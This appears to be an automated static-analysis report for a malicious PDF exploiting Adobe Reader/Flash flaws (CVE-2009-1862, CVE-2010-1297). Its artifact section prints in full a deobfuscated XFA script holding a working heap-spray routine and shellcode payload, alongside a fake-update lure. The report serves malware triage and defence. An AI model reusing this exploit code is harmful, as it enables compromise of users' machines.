Malicious PDF — malware analysis report

Static analysis result for SHA-256 80873e6b55917ca3…

MALICIOUS

PDF

936.1 KB Created: Oÿg6¦î½ é-.r¾Ávc*×õ·Àà›O$£Á£8žøòÝ|؂:Ái:Ý.ú={ Authoring application: 䨇ھjŽ4šˆÎzêpÐÔ»¡úL­i.|$pø¥C“ž”ûÔßË£/cJÙz>’% (via Ç!²û4i‘¶›\~صРAZ€…VœßߗfµGÒ>ïw’$ù6HîküýRÉ) First seen: 2013-03-06
MD5: 647c38afbf8d691536a7a41f94cfef42 SHA-1: 85faec0307ae307ab0bb07ae7912617c3a67d061 SHA-256: 80873e6b55917ca381a1298f6775db132a5da3c451df56a85683ca4be5336109
412 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF exploits CVE-2009-1862 and CVE-2010-1297 using embedded JavaScript and Flash content to perform a heap spray. The JavaScript attempts to redirect the user to 'http://cgi.adobe.com/special/acrobat/update' to download a new version, which is a common lure for malware delivery. The presence of an embedded SWF file ('poc.swf') and multiple JavaScript streams indicates a multi-stage exploit designed to execute arbitrary code.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9995

Heuristics 13

  • Adobe Flash/authplay SWF exploit in PDF — CVE-2009-1862 critical CVE likely CVE_2009_1862_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation, an embedded SWF, and PDF-side shellcode heap-spray staging. This matches the 2009 authplay.dll Flash-in-PDF exploit delivery shape even when the SWF bytecode does not expose stable printable Run_Sploit markers.
  • CVE-2010-1297 — Adobe Flash/Reader authplay heap-spray (Flash-in-PDF) critical CVE likely CVE_2010_1297
    PDF embeds a Flash (SWF) object via RichMedia and its JavaScript heap-sprays to groom memory for the embedded Flash exploit. This is the CVE-2010-1297 (authplay.dll) Flash-in-PDF memory-corruption shape; the spray is recovered after de-obfuscating space-padded %u, fromCharCode and \u builders that evade the raw heap-spray rules.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector
  • Encrypted PDF carries /JavaScript — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JS
    PDF declares /Encrypt and also references an executable trigger (/JavaScript). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Optional Content Group with action trigger low PDF_OPTIONAL_CONTENT
    Optional Content Group (layer) co-occurs with an action trigger — content can be selectively hidden from viewers or scanners while the action still fires on open
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://cgi.adobe.com/special/acrobat/update Referenced by PDF JavaScript
    • http://www.xfa.org/schema/xfa-template/2.8/Referenced by PDF JavaScript
    • http://ns.adobe.com/xdp/In extracted file (embedded_file_obj0014.bin)
    • http://www.xfa.org/schema/xci/2.8/In extracted file (embedded_file_obj0015.bin)
    • http://www.xfa.org/schema/xfa-data/1.0/In extracted file (embedded_file_obj0017.bin)
    • http://www.xfa.org/schema/xfa-locale-set/2.7/In extracted file (embedded_file_obj0018.bin)
    • http://ns.adobe.com/xtd/In extracted file (embedded_file_obj0019.bin)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In extracted file (embedded_file_obj0020.bin)
    • http://ns.adobe.com/xap/1.0/In extracted file (embedded_file_obj0020.bin)
    • http://ns.adobe.com/pdf/1.3/In extracted file (embedded_file_obj0020.bin)
    • http://ns.adobe.com/xap/1.0/mm/In extracted file (embedded_file_obj0020.bin)
    • http://www.xfa.org/schema/xfa-form/2.8/In extracted file (embedded_file_obj0021.bin)
    • http://www.iec.chIn extracted file (icc_00_off000e2feb.icc)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 22

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0014.bin pdf-embedded-file PDF EmbeddedFile object 14 at offset 0x1A7E 163 bytes
SHA-256: 365c9a507f0089f894d210675abd0eb0fd55de7c1633a56f9dc7c85ed5ac5375
embedded_file_obj0015.bin pdf-embedded-file PDF EmbeddedFile object 15 at offset 0x1B6E 1590 bytes
SHA-256: e6edbc492bc9c02cd0e8f754886205e3a7ed95bb581b6296bd6d6acfb7d5a499
embedded_file_obj0016.bin pdf-embedded-file PDF EmbeddedFile object 16 at offset 0x1E6B 6683 bytes
SHA-256: 5f50f1d35100e25b668e60dab452b7b7cb3b8e6b1464806399fb35f6b1bee2c5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
embedded_file_obj0017.bin pdf-embedded-file PDF EmbeddedFile object 17 at offset 0x2857 156 bytes
SHA-256: bba75246a3e78e6cc92559d684072eed08816089e73e1e4fa0a7eb4f91c7b33d
embedded_file_obj0018.bin pdf-embedded-file PDF EmbeddedFile object 18 at offset 0x2927 2955 bytes
SHA-256: c8a82f67dfd8d68c2f8fe494ca2deee4604701c8f02863bf87d222b992e45de9
embedded_file_obj0019.bin pdf-embedded-file PDF EmbeddedFile object 19 at offset 0x2CA1 200 bytes
SHA-256: 4cb349134bdb5f1a1c03281df9b53128ebe947f235398a912a4f0a9f638b24d5
embedded_file_obj0020.bin pdf-embedded-file PDF EmbeddedFile object 20 at offset 0x2D95 835 bytes
SHA-256: 9ff8dd6dc461ce1a49903fe91a9730cbd0618d54ce3e72ee49a5c4a11548f4db
embedded_file_obj0021.bin pdf-embedded-file PDF EmbeddedFile object 21 at offset 0x2F6D 56 bytes
SHA-256: 4a60a9864cdf7382475d51051a03fdc43b32c31eb508893ccfccece34957f9f1
poc.swf pdf-embedded-file PDF EmbeddedFile object 80 at offset 0xE4222 22324 bytes
SHA-256: f4203e650f970bdcee3a1a005d495b7f888639a27fe7a1e1cc3c360497c78ea2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
actual_type=SWF; declared_or_context_type=PDF; filename=poc.swf; kind=pdf-embedded-file Carved artifact entropy is 7.99, consistent with packed or encrypted content.
javascript_obj0043_000.js pdf-javascript-stream PDF /JS object 43 at offset 0x3B4A 1430 bytes
SHA-256: 41ae157811353bd010d5e4c70d33d9b304a2ee7ea48a191ed8a871f61dd0df37
Preview script
First 1,000 lines of the extracted script
�� i f   ( t y p e o f ( t h i s . A D B E )   = =   " u n d e f i n e d " ) 
       t h i s . A D B E   =   n e w   O b j e c t ( ) ; 
 A D B E . L A N G U A G E   =   " E N U " ; 
 A D B E . V i e w e r _ s t r i n g _ T i t l e   =   " A d o b e   A c r o b a t " ; 
 A D B E . V i e w e r _ s t r i n g _ U p d a t e _ D e s c   =   " A d o b e  N�N��hSUf�e� " ; 
 A D B E . R e a d e r _ s t r i n g _ N e e d _ N e w _ V e r s i o n _ M s g   =   "kd   P D F  e�N���lBf���rHg,v�   A d o b e   R e a d e r0 ��c	  xn[�  geN �}g e�rHg,� b �T|�`�v�|�~�{�t TX0  " ; 
 A D B E . V i e w e r _ s t r i n g _ N e e d _ N e w _ V e r s i o n _ M s g _ O l d   =   "kd   P D F  �hSU��lBf���rHg,v�   A d o b e   A c r o b a t0 ��Y
R6�� QW@� q6T |�^ R0`�v�mO��VhN-� b �T|�`�v�|�~�{�t TX0  " ; 
 A D B E . V i e w e r _ s t r i n g _ N e e d _ N e w _ V e r s i o n _ M s g   =   "kd   P D F  �hSU��lBf���rHg,v�   A d o b e   A c r o b a t0 Y�g�l�g	f���v�rHg,� \={�kd�hSUS�N�f>y:� OFS��e�l�kc^8]�O\0 � g�N��hSUQC} u ��h9g,N
f>y:0 SUQ�  xn[�  S�N���g	Qs��S�g e�rHg,   A d o b e   R e a d e r  v���~�O�`o0  " ; 
 A D B E . V i e w e r _ s t r i n g _ N e e d _ N e w _ V e r s i o n _ M s g _ U p d a t e r   =   "kd   P D F  �hSU��lBf���rHg,v�   A d o b e   A c r o b a t0 Y�g�l�g	f���v�rHg,� \={�kd�hSUS�N�f>y:� OFS��e�l�kc^8]�O\0 � g�N��hSUQC} u ��h9g,N
f>y:0 Y�g�S�N��c�R0   I n t e r n e t� SUQ�  xn[�  S�N �}^v[���g e�rHg,0  " ;
javascript_obj0044_001.js pdf-javascript-stream PDF /JS object 44 at offset 0x3DC1 902 bytes
SHA-256: e985b5df65c8c3cf732a9074b575fbc594c1c7f0bccc0994182ec7e5c0f7308a
Preview script
First 1,000 lines of the extracted script
if (typeof(ADBE.Reader_Value_Asked) == "undefined")
   ADBE.Reader_Value_Asked = false;
if (typeof(ADBE.Viewer_Value_Asked) == "undefined")
   ADBE.Viewer_Value_Asked = false;
if (typeof(ADBE.Reader_Need_Version) == "undefined" || ADBE.Reader_Need_Version < 9.0)
{
   ADBE.Reader_Need_Version = 9.0;
   ADBE.Reader_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
   ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&r=" + ADBE.Reader_Need_Version;
}
if (typeof(ADBE.Viewer_Need_Version) == "undefined" || ADBE.Viewer_Need_Version < 9.0)
{
   ADBE.Viewer_Need_Version = 9.0;
   ADBE.Viewer_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
   ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&r=" + ADBE.Viewer_Need_Version;
}
javascript_obj0045_002.js pdf-javascript-stream PDF /JS object 45 at offset 0x3F18 1363 bytes
SHA-256: 529357503ec67b623d2a12816cdeea62bd639f2b4ff4e568b01c96cc3f5bfc6f
Preview script
First 1,000 lines of the extracted script
if (typeof(xfa_installed) == "undefined" || typeof(xfa_version) == "undefined" || xfa_version < 2.8)
{
   if (app.viewerType == "Reader")
   {
      if (ADBE.Reader_Value_Asked != true)
      {
         if (app.viewerVersion < 9.0)
         {
            if (app.alert(ADBE.Reader_string_Need_New_Version_Msg, 1, 1) == 1)
               this.getURL(ADBE.Reader_Value_New_Version_URL + ADBE.SYSINFO, false);
            ADBE.Reader_Value_Asked = true;
         }
         else if (app.alert(ADBE.Viewer_string_Need_New_Version_Msg_Updater, 1, 1) == 1)
            app.findComponent({cType:"Plugin", cName:"XFA", cVer:"2.8"});
      }
   }
   else
   {
      if (ADBE.Viewer_Value_Asked != true)
      {
         if (app.viewerVersion < 7.0)
            app.response({cQuestion: ADBE.Viewer_string_Need_New_Version_Msg_Old, cDefault: ADBE.Viewer_Value_New_Version_URL + ADBE.SYSINFO, cTitle: ADBE.Viewer_string_Title});
		   else if (app.viewerVersion < 9.0)
         {
            if (app.alert(ADBE.Viewer_string_Need_New_Version_Msg, 1, 1) == 1)
               app.launchURL(ADBE.Viewer_Value_New_Version_URL + ADBE.SYSINFO, true);
         }
         else if (app.alert(ADBE.Viewer_string_Need_New_Version_Msg_Updater, 1, 1) == 1)
            app.findComponent({cType:"Plugin", cName:"XFA", cVer:"2.8"});
         ADBE.Viewer_Value_Asked = true;
      }
   }
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery split-literal-normalize from combined JavaScript objects at offset 0x3B4A 10331 bytes
SHA-256: 711bcba8dea6f2de936cadc2e3de4d0f11e37fa7cb280310b8c3bb37321e9076
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
�� i f   ( t y p e o f ( t h i s . A D B E )   = =   " u n d e f i n e d " ) 
       t h i s . A D B E   =   n e w   O b j e c t ( ) ; 
 A D B E . L A N G U A G E   =   " E N U " ; 
 A D B E . V i e w e r _ s t r i n g _ T i t l e   =   " A d o b e   A c r o b a t " ; 
 A D B E . V i e w e r _ s t r i n g _ U p d a t e _ D e s c   =   " A d o b e  N�N��hSUf�e� " ; 
 A D B E . R e a d e r _ s t r i n g _ N e e d _ N e w _ V e r s i o n _ M s g   =   "kd   P D F  e�N���lBf���rHg,v�   A d o b e   R e a d e r0 ��c	  xn[�  geN �}g e�rHg,� b �T|�`�v�|�~�{�t TX0  " ; 
 A D B E . V i e w e r _ s t r i n g _ N e e d _ N e w _ V e r s i o n _ M s g _ O l d   =   "kd   P D F  �hSU��lBf���rHg,v�   A d o b e   A c r o b a t0 ��Y
R6�� QW@� q6T |�^ R0`�v�mO��VhN-� b �T|�`�v�|�~�{�t TX0  " ; 
 A D B E . V i e w e r _ s t r i n g _ N e e d _ N e w _ V e r s i o n _ M s g   =   "kd   P D F  �hSU��lBf���rHg,v�   A d o b e   A c r o b a t0 Y�g�l�g	f���v�rHg,� \={�kd�hSUS�N�f>y:� OFS��e�l�kc^8]�O\0 � g�N��hSUQC} u ��h9g,N
f>y:0 SUQ�  xn[�  S�N���g	Qs��S�g e�rHg,   A d o b e   R e a d e r  v���~�O�`o0  " ; 
 A D B E . V i e w e r _ s t r i n g _ N e e d _ N e w _ V e r s i o n _ M s g _ U p d a t e r   =   "kd   P D F  �hSU��lBf���rHg,v�   A d o b e   A c r o b a t0 Y�g�l�g	f���v�rHg,� \={�kd�hSUS�N�f>y:� OFS��e�l�kc^8]�O\0 � g�N��hSUQC} u ��h9g,N
f>y:0 Y�g�S�N��c�R0   I n t e r n e t� SUQ�  xn[�  S�N �}^v[���g e�rHg,0  " ; 

if (typeof(ADBE.Reader_Value_Asked) == "undefined")
   ADBE.Reader_Value_Asked = false;
if (typeof(ADBE.Viewer_Value_Asked) == "undefined")
   ADBE.Viewer_Value_Asked = false;
if (typeof(ADBE.Reader_Need_Version) == "undefined" || ADBE.Reader_Need_Version < 9.0)
{
   ADBE.Reader_Need_Version = 9.0;
   ADBE.Reader_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
   ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&r=" + ADBE.Reader_Need_Version;
}
if (typeof(ADBE.Viewer_Need_Version) == "undefined" || ADBE.Viewer_Need_Version < 9.0)
{
   ADBE.Viewer_Need_Version = 9.0;
   ADBE.Viewer_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
   ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&r=" + ADBE.Viewer_Need_Version;
}

if (typeof(xfa_installed) == "undefined" || typeof(xfa_version) == "undefined" || xfa_version < 2.8)
{
   if (app.viewerType == "Reader")
   {
      if (ADBE.Reader_Value_Asked != true)
      {
         if (app.viewerVersion < 9.0)
         {
            if (app.alert(ADBE.Reader_string_Need_New_Version_Msg, 1, 1) == 1)
               this.getURL(ADBE.Reader_Value_New_Version_URL + ADBE.SYSINFO, false);
            ADBE.Reader_Value_Asked = true;
         }
         else if (app.alert(ADBE.Viewer_string_Need_New_Version_Msg_Updater, 1, 1) == 1)
            app.findComponent({cType:"Plugin", cName:"XFA", cVer:"2.8"});
      }
   }
   else
   {
      if (ADBE.Viewer_Value_Asked != true)
      {
         if (app.viewerVersion < 7.0)
            app.response({cQuestion: ADBE.Viewer_string_Need_New_Version_Msg_Old, cDefault: ADBE.Viewer_Value_New_Version_URL + ADBE.SYSINFO, cTitle: ADBE.Viewer_string_Title});
		   else if (app.viewerVersion < 9.0)
         {
            if (app.alert(ADBE.Viewer_string_Need_New_Version_Msg, 1, 1) == 1)
               app.launchURL(ADBE.Viewer_Value_New_Version_URL + ADBE.SYSINFO, true);
         }
         else if (app.alert(ADBE.Viewer_string_Need_New_Version_Msg_Updater, 1, 1) == 1)
            app.findComponent({cType:"Plugin", cName:"XFA", cVer:"2.8"});
         ADBE.Viewer_Value_Asked = true;
      }
   }
}


<template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.8/"
><subform name="topmostSubform" layout="tb" locale="zh_CN"
><pageSet
><pageArea id="PageArea1" name="PageArea1"
><contentArea name="ContentArea1" x="0pt" y="0pt" w="595pt" h="842pt"
/><medium short="595pt" long="842pt" stock="custom"
/></pageArea
></pageSet
><subform name="Page1" x="0pt" y="0pt" w="595pt" h="842pt"
><breakBefore targetType="pageArea" target="PageArea1"
/><bind match="none"
/><field name="文本域1" y="73.827mm" x="141.693mm" w="62mm" h="9mm"
><ui
><textEdit
><border hand="right"
><?templateDesigner StyleID aped3?><edge stroke="lowered" cap="butt"
/></border
><margin
/></textEdit
></ui
><font typeface="Adobe Song Std L"
/><para vAlign="middle"
/><event activity="initialize" name="event__initialize"
><script contentType="application/x-javascript"
>
var testunescape = unescape;
var shellcode = testunescape( '%u4141%u4141%u2FE1%u0700%uDEAD%uBEEF%uB00B%uFACE%u0c1c%u2424%u4919%u0700%uCCCC%uCCCC%u48EF%u0700%u156F%u0700%uCCCC%uCCCC%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9033%u0700%u9084%u0700%u0C0C%u0C0C%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u1599%u0700%u0124%u0C0C%u72F7%u0700%u0104%u0C0C%u15BB%u0700%u1000%u0000%u154D%u0700%u15BB%u0700%u0300%u7FFE%u7FB2%u0700%u15BB%u0700%u0011%u0C0C%uA8AC%u0700%u15BB%u0700%u0100%u0C0C%uA8AC%u0700%u72F7%u0700%u0011%u0C0C%u52E2%u0700%u5C54%u0700%uFFFF%uFFFF%u0100%u0C0C%u0000%u0000%u0104%u0C0C%u1000%u0000%u0040%u0000%uD731%u0700%u15BB%u0700%u905A%u9054%u154D%u0700%uA722%u0700%u15BB%u0700%uEB5A%u5815%u154D%u0700%uA722%u0700%u15BB%u0700%u1A8B%u1889%u154D%u0700%uA722%u0700%u15BB%u0700%uC083%u8304%u154D%u0700%uA722%u0700%u15BB%u0700%u04C2%uFB81%u154D%u0700%uA722%u0700%u15BB%u0700%u0C0C%u0C0C%u154D%u0700%uA722%u0700%u15BB%u0700%uEE75%u05EB%u154D%u0700%uA722%u0700%u15BB%u0700%uE6E8%uFFFF%u154D%u0700%uA722%u0700%u15BB%u0700%u90FF%u9090%u154D%u0700%uA722%u0700%u15BB%u0700%u9090%u9090%u154D%u0700%uA722%u0700%u15BB%u0700%u9090%u9090%u154D%u0700%uA722%u0700%u15BB%u0700%uFFFF%u90FF%u154D%u0700%uD731%u0700%u112F%u0700%uec81%u0120%u0000%ufc8b%uc783%uc704%u3207%u9174%uc70c%u0447%u138e%uac0a%u47c7%u3908%u7de2%uc783%u0c47%uf28f%u6118%u47c7%u9310%ue432%uc794%u1447%u32a9%u94e4%u47c7%u4318%uacbe%uc7db%u1c47%u36b2%u130f%u47c7%uc420%u1f8d%uc774%u2447%u2f51%u01a2%u47c7%u5728%u0d66%uc7ff%u2c47%u879b%ue58b%u47c7%ued30%uffaf%ue9b4%u045e%u0000%uc033%ua164%u0030%u0000%u408b%u8b0c%u1440%u008b%u008b%u688b%u8b10%u6af7%u590d%ufae8%u0003%ue200%u8bf9%u8bee%u3045%u4589%u8150%u00ec%u0004%u8b00%u83f4%u04c6%u55ff%u8b2c%u33d0%u42c0%u3a80%u7522%u40fa%uf883%u7502%u42f4%uc033%u8040%u023c%u7522%uc6f9%u0204%u6a00%u6800%u0080%u0000%u036a%u006a%u036a%u0068%u0000%u5280%u55ff%u8310%u00f8%u8e0f%u039c%u0000%u4589%u8b30%u57fe%u0068%u0001%uff00%u0855%uc033%u85c6%u0080%u0000%u8a22%u061c%u9c88%u8105%u0000%u4000%ufb80%u7500%u33f0%u40c0%u3c80%u0007%uf975%u4589%uc760%u0704%u535c%u4356%u44c7%u0407%u4f48%u5453%u44c7%u0807%u452e%u4558%u44c6%u0c07%u6a00%u6a00%u6a00%u6a02%u6a00%u6800%u0000%u4000%uff57%u1055%uf883%u0f00%u318e%u0003%u8900%u3445%u45c7%u0040%u0000%u8100%u00ee%u0005%u6a00%u6a00%u6800%ua380%u0000%u458b%u5030%u55ff%u6a18%u8d00%u4045%u6a50%u5630%u75ff%uff30%u1c55%u468b%u8928%u5845%u468b%u892c%u5445%u0005%u00a4%u0500%u0e00%u0000%u006a%u006a%u8b50%u3045%uff50%u1855%u45c7%u0040%u0000%uc700%u4445%u0000%u0000%udb33%u5d8b%u6a58%u8d00%u4045%u6850%u0400%u0000%uff56%u3075%u55ff%u331c%ub9c9%u0400%u0000%u7c80%uff0e%u7400%u800c%u0e7c%u85ff%u0574%u7480%uff0e%ue285%u8beb%u2dc3%u0400%u0000%uf883%u7f00%u8903%u405d%u006a%u458d%u5044%u75ff%u5640%u75ff%uff34%u2055%ueb81%u0400%u0000%ufb83%u7f00%uffa8%u3475%u55ff%uc728%u6306%u646d%uc72e%u0446%u7865%u2065%u46c7%u2f08%u2063%uc722%u0c46%u2522%u6574%u46c7%u6d10%u2570%uc75c%u1446%u7673%u6863%u46c7%u6f18%u7473%uc72e%u1c46%u7865%u2265%u46c7%u2220%u0000%u6a00%u5600%u55ff%u6a24%u6a00%u6800%ua380%u0000%u458b%u5030%u55ff%u6a18%u8d00%u4045%u6a50%u5630%u75ff%uff30%u1c55%uc933%u458b%u4060%u1c8a%u880e%u059c%u0080%u0000%u4140%ufb80%u7500%u48ef%u84c6%u8005%u0000%u2200%u84c6%u8105%u0000%u0000%uc933%u458b%u8a60%u0e1c%u1c88%u4038%u8041%u00fb%uf375%u006a%u006a%u026a%u006a%u006a%u0068%u0000%u5740%u55ff%u8310%u00f8%u8e0f%u01b6%u0000%u4589%u3334%ubbdb%ua400%u0000%uc381%u0e00%u0000%u006a%u006a%u8b53%u3045%uff50%u1855%u45c7%u0040%u0000%uc700%u4445%u0000%u0000%udb33%u5d8b%u6a54%u8d00%u4045%u6850%u0400%u0000%uff56%u3075%u55ff%u331c%ub9c9%u0400%u0000%u7c80%uff0e%u7400%u800c%u0e7c%u85ff%u0574%u7480%uff0e%ue285%u8beb%u2dc3%u0400%u0000%uf883%u7f00%u8903%u405d%u006a%u458d%u5044%u75ff%u5640%u75ff%uff34%u2055%ueb81%u0400%u0000%ufb83%u7f00%u8ba8%u6045%u04c7%u5c07%u6441%uc76f%u0744%u6204%u4165%uc752%u0744%u4d08%u652e%uc778%u0744%u650c%u0000%u6a00%u6a00%u6a00%u6a02%u6a00%u6800%u0000%u4000%uff57%u1055%uf883%u0f00%uf18e%u0000%u8900%u3445%u006a%u006a%u0068%u00a4%u8b00%u3045%uff50%u1855%u45c7%u0040%u0000%uc700%u4445%u0000%u0000%udb33%uc381%u0e00%u0000%u006a%u458d%u5040%u0068%u0004%u5600%u75ff%uff30%u1c55%uc933%u00b9%u0004%u8000%u0e7c%u00ff%u0c74%u7c80%uff0e%u7485%u8005%u0e74%u85ff%uebe2%uc38b%u002d%u0004%u8300%u00f8%u037f%u5d89%u6a40%u8d00%u4445%uff50%u4075%uff56%u3475%u55ff%u8120%u00eb%u0004%u8300%u00fb%ua87f%u07c7%u6d63%u2e64%u47c7%u6504%u6578%uc720%u0847%u632f%u2220%u47c7%u220c%u7425%uc765%u1047%u706d%u5c25%u47c7%u4114%u6f64%uc762%u1847%u4165%u4d52%u47c7%u2e1c%u7865%uc765%u2047%u2022%u0000%u22b8%u0000%u3300%u8ac9%u0d9c%u0080%u0000%u1c88%u4038%u8041%u00fb%uef75%uc748%u0704%u0022%u0000%u75ff%uff34%u2855%u006a%uff57%u2455%u75ff%uff30%u2855%u55ff%u6a04%u5000%u55ff%u510c%u8b56%u3c75%u748b%u782e%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%ud63a%u0874%ucbc1%u0307%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%u9de8%ufffb%u00ff%u0000%u9090%u9090%u9090%u9090%u0C0C%u0C0C' );
var spary = testunescape( "%u0c0c%u0c0c" );
while (spary.length + 20 + 8 &lt; 65536) spary+=spary;
tianchong = spary.substring(0, (0x0c0c-0x24)/2);
tianchong += shellcode;
tianchong += spary;
U = tianchong.substring(0, 65536/2);
while(U.length &lt; 0x80000) U += U;
duikuai = U.substring(0, 0x80000 - (0x1020-0x08) / 2);
var zhixing = new Array();
for (xuanhuan=0;xuanhuan&lt;0x1f0;xuanhuan++) zhixing[xuanhuan]=duikuai+"s";
</script
></event
></field
><?templateDesigner expand 1?></subform
><?templateDesigner expand 1?></subform
><?templateDesigner FormTargetVersion 28?><?acrobat JavaScript strictScoping?><?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?><?templateDesigner Zoom 102?></template
>
icc_00_off000e2feb.icc pdf-icc-profile PDF ICC profile at offset 0xE2FEB 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e
embedded_file_obj0001_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 1 at offset 0x58; filter decode failed 176 bytes
SHA-256: d5c26d7d1ad3df13fa5bdb1533b3893731865b9dcaf9db6bafa45d9f9d4cbcb1
embedded_file_obj0002_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 2 at offset 0x164; filter decode failed 704 bytes
SHA-256: 4986deecc8f91df279d8f12246b66cd501f3273d4e9da382e10f7cc8b488820b
embedded_file_obj0003_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 3 at offset 0x481; filter decode failed 2528 bytes
SHA-256: 9fa08d512b07a1b429f3dffe3247e17b4ec7c2287eb5f1fb979d948eba117bfe
embedded_file_obj0004_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 4 at offset 0xEBD; filter decode failed 144 bytes
SHA-256: 3982b4c483e83ec70dd9cfd412d3f06b5df0138d2072d9eb7c83415e80a4aff7
embedded_file_obj0005_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 5 at offset 0xFA9; filter decode failed 832 bytes
SHA-256: 70d7811434c80842062e547b29607e89a4f80b90d17828ef95c6a762e0c861f3
embedded_file_obj0006_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 6 at offset 0x1345; filter decode failed 176 bytes
SHA-256: c6f9201ccc8ce4bc8371357e2b757c6201c61bce6617774ef6e460d5ad7e9180
embedded_file_obj0007_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 7 at offset 0x1451; filter decode failed 416 bytes
SHA-256: 6223eb00d6938b9bd7d173a78631e12592adf4ddea2fd548581055059fb20e07
embedded_file_obj0008_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 8 at offset 0x164C; filter decode failed 80 bytes
SHA-256: b0a6211bab415297b52045df424c97ddb75b95593a73fb6b34c682f7ba21bffd

Open this report in the interactive analyzer, or submit your own file for analysis.